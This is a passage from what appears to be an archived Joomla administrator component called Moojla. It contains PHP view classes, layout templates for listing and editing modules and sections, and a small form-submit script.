'a.module_section_id', $this->listDirn, $this->listOrder);
?>
</th>
<th class="nowrap" >
<?php echo JText::_('COM_MOOJLA_MODULE_MODULE_ID_LABEL');
?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_MODULE_NAME_LABEL', 'a.name',
$this->listDirn, $this->listOrder); ?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JText::_('COM_MOOJLA_MODULE_MODNAME_LABEL');
?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JText::_('COM_MOOJLA_MODULE_VISIBLE_LABEL');
?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JText::_('COM_MOOJLA_MODULE_USERVISIBLE_LABEL');
?>
</th>
<?php if ($this->canState): ?>
<th width="10" class="nowrap center" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_MODULE_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
</th>
<?php else: ?>
<th width="10" class="nowrap center" >
<?php echo JText::_('COM_MOOJLA_MODULE_STATUS'); ?>
</th>
<?php endif; ?>
<th width="5" class="nowrap center hidden-phone"
>
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_MODULE_ID', 'a.id', $this->listDirn,
$this->listOrder); ?>
</th>
</tr>views/modules/tmpl/default_toolbar.php000064400000007052151165724410014216
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_toolbar.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<div id="filter-bar" class="btn-toolbar">
<div class="filter-search btn-group pull-left">
<label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
<input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Modules'); ?>" />
</div>
<div class="btn-group pull-left">
<button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
<button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
<?php echo $this->pagination->getLimitBox(); ?>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
<select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
<option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
<option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
</select>
</div>
<div class="btn-group pull-right">
<label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
<select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
<?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
</select>
</div>
</div>
<div class="clearfix">
</div>views/modules/tmpl/index.html000064400000000054151165724410012327
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/modules/view.html.php000064400000020461151165724410012010
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Moojla View class for the Modules
*/
class MoojlaViewModules extends JViewLegacy
{
/**
* Modules view display method
* @return void
*/
function display($tpl = null)
{
if ($this->getLayout() !== 'modal')
{
// Include helper submenu
MoojlaHelper::addSubmenu('modules');
}
// Assign data to the view
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->state = $this->get('State');
$this->user = JFactory::getUser();
// Load the filter form from xml.
$this->filterForm = $this->get('FilterForm');
// Load the active filters.
$this->activeFilters = $this->get('ActiveFilters');
// Add the list ordering clause.
$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
$this->saveOrder = $this->listOrder == 'a.ordering';
// set the return here value
$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
// get global action permissions
$this->canDo = MoojlaHelper::getActions('module');
$this->canEdit = $this->canDo->get('core.edit');
$this->canState =
$this->canDo->get('core.edit.state');
$this->canCreate = $this->canDo->get('core.create');
$this->canDelete = $this->canDo->get('core.delete');
$this->canBatch = $this->canDo->get('core.batch');
// We don't need toolbar in the modal window.
if ($this->getLayout() !== 'modal')
{
$this->addToolbar();
$this->sidebar = JHtmlSidebar::render();
// load the batch html
if ($this->canCreate && $this->canEdit &&
$this->canState)
{
$this->batchDisplay = JHtmlBatch_::render();
}
}
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JToolBarHelper::title(JText::_('COM_MOOJLA_MODULES'),
'image');
JHtmlSidebar::setAction('index.php?option=com_moojla&view=modules');
JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');
if ($this->canCreate)
{
JToolBarHelper::addNew('module.add');
}
// Only load if there are items
if (MoojlaHelper::checkArray($this->items))
{
if ($this->canEdit)
{
JToolBarHelper::editList('module.edit');
}
if ($this->canState)
{
JToolBarHelper::publishList('modules.publish');
JToolBarHelper::unpublishList('modules.unpublish');
JToolBarHelper::archiveList('modules.archive');
if ($this->canDo->get('core.admin'))
{
JToolBarHelper::checkin('modules.checkin');
}
}
// Add a batch button
if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
{
// Get the toolbar object instance
$bar = JToolBar::getInstance('toolbar');
// set the batch button name
$title = JText::_('JTOOLBAR_BATCH');
// Instantiate a new JLayoutFile instance and render the batch button
$layout = new JLayoutFile('joomla.toolbar.batch');
// add the button to the page
$dhtml = $layout->render(array('title' => $title));
$bar->appendButton('Custom', $dhtml, 'batch');
}
if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
{
JToolbarHelper::deleteList('', 'modules.delete',
'JTOOLBAR_EMPTY_TRASH');
}
elseif ($this->canState && $this->canDelete)
{
JToolbarHelper::trash('modules.trash');
}
}
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('modules');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
// add the options comp button
if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
{
JToolBarHelper::preferences('com_moojla');
}
// Only load published batch if state and batch is allowed
if ($this->canState && $this->canBatch)
{
JHtmlBatch_::addListSelection(
JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
'batch[published]',
JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
);
}
// Only load Module Section Id batch if create, edit, and batch is
allowed
if ($this->canBatch && $this->canCreate &&
$this->canEdit)
{
// Set Module Section Id Selection
$this->module_section_idOptions =
JFormHelper::loadFieldType('modulesfiltermodulesectionid')->options;
// We do some sanitation for Module Section Id filter
if (MoojlaHelper::checkArray($this->module_section_idOptions)
&&
isset($this->module_section_idOptions[0]->value) &&
!MoojlaHelper::checkString($this->module_section_idOptions[0]->value))
{
unset($this->module_section_idOptions[0]);
}
// Module Section Id Batch Selection
JHtmlBatch_::addListSelection(
'- Keep Original
'.JText::_('COM_MOOJLA_MODULE_MODULE_SECTION_ID_LABEL').'
-',
'batch[module_section_id]',
JHtml::_('select.options',
$this->module_section_idOptions, 'value', 'text')
);
}
// Only load Modname batch if create, edit, and batch is allowed
if ($this->canBatch && $this->canCreate &&
$this->canEdit)
{
// Set Modname Selection
$this->modnameOptions =
JFormHelper::loadFieldType('modulesfiltermodname')->options;
// We do some sanitation for Modname filter
if (MoojlaHelper::checkArray($this->modnameOptions) &&
isset($this->modnameOptions[0]->value) &&
!MoojlaHelper::checkString($this->modnameOptions[0]->value))
{
unset($this->modnameOptions[0]);
}
// Modname Batch Selection
JHtmlBatch_::addListSelection(
'- Keep Original
'.JText::_('COM_MOOJLA_MODULE_MODNAME_LABEL').'
-',
'batch[modname]',
JHtml::_('select.options', $this->modnameOptions,
'value', 'text')
);
}
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_('COM_MOOJLA_MODULES'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/modules.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 50)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Returns an array of fields the table can be sorted by
*
* @return array Array containing the field name to sort by as the key
and display text as value
*/
protected function getSortFields()
{
return array(
'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
'a.published' => JText::_('JSTATUS'),
'a.module_section_id' =>
JText::_('COM_MOOJLA_MODULE_MODULE_SECTION_ID_LABEL'),
'a.name' =>
JText::_('COM_MOOJLA_MODULE_NAME_LABEL'),
'a.id' => JText::_('JGRID_HEADING_ID')
);
}
}
views/moojla/index.html000064400000000054151165724410011164
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/moojla/tmpl/default.php000064400000003577151165724410012315
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::_('behavior.tooltip');
?>
<div id="j-main-container">
<div class="span9">
<?php echo JHtml::_('bootstrap.startAccordion',
'dashboard_left', array('active' =>
'main')); ?>
<?php echo JHtml::_('bootstrap.addSlide',
'dashboard_left', 'cPanel', 'main'); ?>
<?php echo $this->loadTemplate('main');?>
<?php echo JHtml::_('bootstrap.endSlide'); ?>
<?php echo JHtml::_('bootstrap.endAccordion'); ?>
</div>
<div class="span3">
<?php echo JHtml::_('bootstrap.startAccordion',
'dashboard_right', array('active' =>
'vdm')); ?>
<?php echo JHtml::_('bootstrap.addSlide',
'dashboard_right', 'Lmskaran', 'vdm'); ?>
<?php echo $this->loadTemplate('vdm');?>
<?php echo JHtml::_('bootstrap.endSlide'); ?>
<?php echo JHtml::_('bootstrap.endAccordion'); ?>
</div>
</div>views/moojla/tmpl/default_main.php000064400000003645151165724410013315
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_main.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<?php if(isset($this->icons['main']) &&
is_array($this->icons['main'])) :?>
<?php foreach($this->icons['main'] as $icon): ?>
<div class="dashboard-wraper">
<div class="dashboard-content">
<a class="icon" href="<?php echo $icon->url;
?>">
<img alt="<?php echo $icon->alt; ?>"
src="components/com_moojla/assets/images/icons/<?php echo
$icon->image; ?>">
<span class="dashboard-title"><?php echo
JText::_($icon->name); ?></span>
</a>
</div>
</div>
<?php endforeach; ?>
<div class="clearfix"></div>
<?php else: ?>
<div class="alert alert-error"><h4
class="alert-heading"><?php echo JText::_("Permission
denied, or not correctly set"); ?></h4><div
class="alert-message"><?php echo JText::_("Please
notify your System Administrator if result is unexpected.");
?></div></div>
<?php endif;
?>views/moojla/tmpl/default_vdm.php000064400000005032151165724410013147
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_vdm.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<img alt="<?php echo JText::_('COM_MOOJLA');
?>"
src="components/com_moojla/assets/images/vdm-component.png">
<ul class="list-striped">
<li><b><?php echo JText::_('COM_MOOJLA_VERSION');
?>:</b> <?php echo $this->manifest->version;
?> <span
class="update-notice"></span></li>
<li><b><?php echo JText::_('COM_MOOJLA_DATE');
?>:</b> <?php echo $this->manifest->creationDate;
?></li>
<li><b><?php echo JText::_('COM_MOOJLA_AUTHOR');
?>:</b> <a href="mailto:<?php echo
$this->manifest->authorEmail; ?>"><?php echo
$this->manifest->author; ?></a></li>
<li><b><?php echo JText::_('COM_MOOJLA_WEBSITE');
?>:</b> <a href="<?php echo
$this->manifest->authorUrl; ?>"
target="_blank"><?php echo
$this->manifest->authorUrl; ?></a></li>
<li><b><?php echo JText::_('COM_MOOJLA_LICENSE');
?>:</b> <?php echo $this->manifest->license;
?></li>
<li><b><?php echo $this->manifest->copyright;
?></b></li>
</ul>
<div class="clearfix"></div>
<?php if(MoojlaHelper::checkArray($this->contributors)): ?>
<?php if(count($this->contributors) > 1): ?>
<h3><?php echo JText::_('COM_MOOJLA_CONTRIBUTORS');
?></h3>
<?php else: ?>
<h3><?php echo JText::_('COM_MOOJLA_CONTRIBUTOR');
?></h3>
<?php endif; ?>
<ul class="list-striped">
<?php foreach($this->contributors as $contributor): ?>
<li><b><?php echo $contributor['title'];
?>:</b> <?php echo $contributor['name'];
?></li>
<?php endforeach; ?>
</ul>
<div class="clearfix"></div>
<?php endif;
?>views/moojla/tmpl/index.html000064400000000054151165724410012140
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/moojla/view.html.php000064400000005464151165724410011627
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Moojla View class
*/
class MoojlaViewMoojla extends JViewLegacy
{
/**
* View display method
* @return void
*/
function display($tpl = null)
{
// Assign data to the view
$this->icons = $this->get('Icons');
$this->contributors = MoojlaHelper::getContributors();
// get the manifest details of the component
$this->manifest = MoojlaHelper::manifest();
// Set the toolbar
$this->addToolBar();
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
$canDo = MoojlaHelper::getActions('moojla');
JToolBarHelper::title(JText::_('COM_MOOJLA_DASHBOARD'),
'grid-2');
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('moojla');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
if ($canDo->get('core.admin') ||
$canDo->get('core.options'))
{
JToolBarHelper::preferences('com_moojla');
}
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
$document = JFactory::getDocument();
// add dashboard style sheets
$document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/dashboard.css");
// set page title
$document->setTitle(JText::_('COM_MOOJLA_DASHBOARD'));
// add manifest to page JavaScript
$document->addScriptDeclaration("var manifest =
jQuery.parseJSON('" . json_encode($this->manifest) .
"');", "text/javascript");
}
}
views/section/submitbutton.js000064400000002744151165724410012457
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage submitbutton.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
Joomla.submitbutton = function(task)
{
if (task == ''){
return false;
} else {
var action = task.split('.');
if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
Joomla.submitform(task, document.getElementById("adminForm"));
return true;
} else {
alert(Joomla.JText._('section, some values are not
acceptable.','Some values are unacceptable'));
return false;
}
}
}views/section/tmpl/edit.php000064400000011132151165724410011763
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage edit.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
// waiting spinner
var outerDiv = jQuery('body');
jQuery('<div id="loading"></div>')
.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
.css("width", outerDiv.width())
.css("height", outerDiv.height())
.css("position", "fixed")
.css("opacity", "0.80")
.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
.css("filter", "alpha(opacity = 80)")
.css("display", "none")
.appendTo(outerDiv);
jQuery('#loading').show();
// when page is ready remove and show
jQuery(window).load(function() {
jQuery('#moojla_loader').fadeIn('fast');
jQuery('#loading').hide();
});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">
<div class="form-horizontal">
<?php echo JHtml::_('bootstrap.startTabSet',
'sectionTab', array('active' =>
'details')); ?>
<?php echo JHtml::_('bootstrap.addTab',
'sectionTab', 'details',
JText::_('COM_MOOJLA_SECTION_DETAILS', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span12">
<?php echo JLayoutHelper::render('section.details_left',
$this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
<?php $this->tab_name = 'sectionTab'; ?>
<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>
<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'sectionTab', 'publishing',
JText::_('COM_MOOJLA_SECTION_PUBLISHING', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo JLayoutHelper::render('section.publishing',
$this); ?>
</div>
<div class="span6">
<?php echo JLayoutHelper::render('section.publlshing',
$this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php if ($this->canDo->get('core.admin')) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'sectionTab', 'permissions',
JText::_('COM_MOOJLA_SECTION_PERMISSION', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span12">
<fieldset class="adminform">
<div class="adminformlist">
<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
<div>
<?php echo $field->label; echo $field->input;?>
</div>
<div class="clearfix"></div>
<?php endforeach; ?>
</div>
</fieldset>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php echo JHtml::_('bootstrap.endTabSet'); ?>
<div>
<input type="hidden" name="task"
value="section.edit" />
<?php echo JHtml::_('form.token'); ?>
</div>
</div>
</form>
</div>
views/section/tmpl/index.html000064400000000054151165724410012323
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/section/view.html.php000064400000015213151165724410012003
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Section View class
*/
class MoojlaViewSection extends JViewLegacy
{
/**
* display method of View
* @return void
*/
public function display($tpl = null)
{
// set params
$this->params = JComponentHelper::getParams('com_moojla');
// Assign the variables
$this->form = $this->get('Form');
$this->item = $this->get('Item');
$this->script = $this->get('Script');
$this->state = $this->get('State');
// get action permissions
$this->canDo = MoojlaHelper::getActions('section',
$this->item);
// get input
$jinput = JFactory::getApplication()->input;
$this->ref = $jinput->get('ref', 0, 'word');
$this->refid = $jinput->get('refid', 0, 'int');
$return = $jinput->get('return', null, 'base64');
// set the referral string
$this->referral = '';
if ($this->refid && $this->ref)
{
// return to the item that referred to this item
$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
}
elseif($this->ref)
{
// return to the list view that referred to this item
$this->referral = '&ref=' . (string)$this->ref;
}
// check return value
if (!is_null($return))
{
// add the return value
$this->referral .= '&return=' . (string)$return;
}
// Set the toolbar
$this->addToolBar();
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JFactory::getApplication()->input->set('hidemainmenu',
true);
$user = JFactory::getUser();
$userId = $user->id;
$isNew = $this->item->id == 0;
JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_SECTION_NEW' : 'COM_MOOJLA_SECTION_EDIT'),
'pencil-2 article-add');
// Built the actions for new and existing records.
if (MoojlaHelper::checkString($this->referral))
{
if ($this->canDo->get('core.create') && $isNew)
{
// We can create the record.
JToolBarHelper::save('section.save',
'JTOOLBAR_SAVE');
}
elseif ($this->canDo->get('core.edit'))
{
// We can save the record.
JToolBarHelper::save('section.save',
'JTOOLBAR_SAVE');
}
if ($isNew)
{
// Do not creat but cancel.
JToolBarHelper::cancel('section.cancel',
'JTOOLBAR_CANCEL');
}
else
{
// We can close it.
JToolBarHelper::cancel('section.cancel',
'JTOOLBAR_CLOSE');
}
}
else
{
if ($isNew)
{
// For new records, check the create permission.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::apply('section.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('section.save',
'JTOOLBAR_SAVE');
JToolBarHelper::custom('section.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
};
JToolBarHelper::cancel('section.cancel',
